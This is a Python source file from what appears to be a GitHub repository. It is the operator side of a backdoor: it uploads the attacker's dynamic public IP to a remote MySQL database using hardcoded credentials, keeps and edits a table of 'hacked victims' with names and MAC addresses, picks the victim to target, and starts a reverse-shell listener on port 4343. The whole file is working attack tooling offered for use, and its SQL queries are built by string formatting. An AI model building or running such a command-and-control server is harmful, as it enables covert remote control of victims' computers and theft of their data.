-
Notifications
You must be signed in to change notification settings - Fork 0
/
main_server.py
158 lines (126 loc) · 6.73 KB
/
main_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from server import Listener
from mysql.connector import connect
from requests import get
from termcolor import colored
from os import system
import socket
from terminaltables import AsciiTable
def insert_dynamic_ip_to_internet():
try:
# Firstly try to read the public IP address
print(colored('[!]Trying to catch your dynamic public ip address', 'yellow'))
ip = get('https://api.ipify.org').text
print(colored('[+]Dynamic ip {} found'.format(ip), 'green'))
try:
# Then try to reach the data base and upload it to the base
print(colored('\n[!]Trying to reach the online database', 'yellow'))
hacker_database = connect(
host="remotemysql.com",
user="lwZaUGfFIB",
passwd="zA5RhF4rBc",
database='lwZaUGfFIB',
port=3306
)
my_cursor = hacker_database.cursor()
print(colored('[+]Reached to database successfully', 'green'))
print(colored('\n[!]Trying to upload your current public IP', 'yellow'))
ip_insert_command = "UPDATE `ip_addr` SET `ip`='{}' WHERE `id` = 1".format(ip)
my_cursor.execute(ip_insert_command)
print(colored('[+]IP address uploaded successfully', 'green'))
try:
# then try to read hacked victims from the data base
print(colored('\n[!]Trying to read victim list', 'yellow'))
victim_reading_command = "SELECT * FROM `users`"
my_cursor.execute(victim_reading_command)
victim_list = list(map(list, my_cursor.fetchall()))
print(colored('[+]Victim reading successful\n\n', 'green'))
# Printing Table Intro
print(colored('Already Attacked Victims on the DataBase\n', attrs=['underline', 'bold']))
# append table data
header = colored('P_ID, Name, MAC address, Stat', attrs=['bold'])
victim_data = [header.split(',')]
for row in victim_list:
victim_data.append(row)
table = AsciiTable(victim_data)
print (table.table)
try:
# After that implement the right victim
# Firstly Ask if there is a new victim
decision1 = raw_input('\nIs there a new Victim to add(y/n)? ')
if decision1 == 'y' or decision1 == 'Y':
p_id = raw_input('\tInput Program ID ----> ')
name = raw_input('\tInput Victim Name ---> ')
sql_input_command = "INSERT INTO `users`(`p_id`, `name`, `mac_addr`, `hack`) VALUES({}, '{}', '', 1)".format(p_id, name)
my_cursor.execute(sql_input_command)
sql_update_command = "UPDATE `users` SET `hack`= 0 WHERE `p_id` <> {}".format(p_id)
my_cursor.execute(sql_update_command)
print(colored('[+]Victim Added Successfully', 'green'))
print(colored('[+]Victim Selected Successfully\n', 'green'))
victim_reading_command = "SELECT * FROM `users`"
my_cursor.execute(victim_reading_command)
victim_list = list(map(list, my_cursor.fetchall()))
header = colored('P_ID, Name, MAC address, Stat', attrs=['bold'])
victim_data = [header.split(',')]
for row in victim_list:
victim_data.append(row)
table = AsciiTable(victim_data)
print (table.table)
else:
decision2 = int(raw_input('Enter the P_ID of the victim: '))
sql_update_command = "UPDATE `users` SET `hack`= 0 WHERE `p_id` <> {}".format(decision2)
my_cursor.execute(sql_update_command)
sql_update_command = "UPDATE `users` SET `hack`= 1 WHERE `p_id` = {}".format(decision2)
my_cursor.execute(sql_update_command)
print(colored('[+]Victim Selected Successfully\n', 'green'))
victim_reading_command = "SELECT * FROM `users`"
my_cursor.execute(victim_reading_command)
victim_list = list(map(list, my_cursor.fetchall()))
header = colored('P_ID, Name, MAC address, Stat', attrs=['bold'])
victim_data = [header.split(',')]
for row in victim_list:
victim_data.append(row)
table = AsciiTable(victim_data)
print (table.table)
except:
hacker_database.commit()
print(colored('[-]Error Occurred while editing database', 'red'))
print(colored('[-]Program Exiting', 'red'))
exit(0)
except:
hacker_database.commit()
print(colored('[-]Error Occurred while reading victims', 'red'))
print(colored('[-]Program Exiting', 'red'))
exit(0)
hacker_database.commit()
except:
print(colored('[-]Error occurred while uploading', 'red'))
print(colored('[-]Program Exiting', 'red'))
exit(0)
except:
print(colored('[-]Failed to get the ip address', 'red'))
print(colored('[-]Program exiting'))
exit(0)
system('clear')
insert_dynamic_ip_to_internet()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
private_ip = s.getsockname()[0]
port = 4343
s.close()
print(colored('\nBackdoor Server Configuration (default) settings', attrs=['bold', 'underline']))
print(colored('\tshell IP ----> '.format(private_ip), attrs=['bold']) + private_ip)
print(colored('\tshell PORT --> '.format(private_ip), attrs=['bold']) + str(port) + '\n')
while True:
try:
decision = raw_input('Do you want to change port(y/n)? ')
if decision == 'y' or decision == 'Y':
port = int(raw_input('Input new PORT: '))
print(colored('\nUpdated Backdoor Server Configuration (default) settings', attrs=['bold', 'underline']))
print(colored('\tshell IP ----> '.format(private_ip), attrs=['bold']) + private_ip)
print(colored('\tshell PORT --> '.format(private_ip), attrs=['bold']) + str(port) + '\n')
print(colored('[!]Check your port forwarding settings\n', 'yellow'))
break
except:
print(colored('[-]Error in inputs try again!', 'red'))
instance_server = Listener(private_ip, port)
instance_server.start()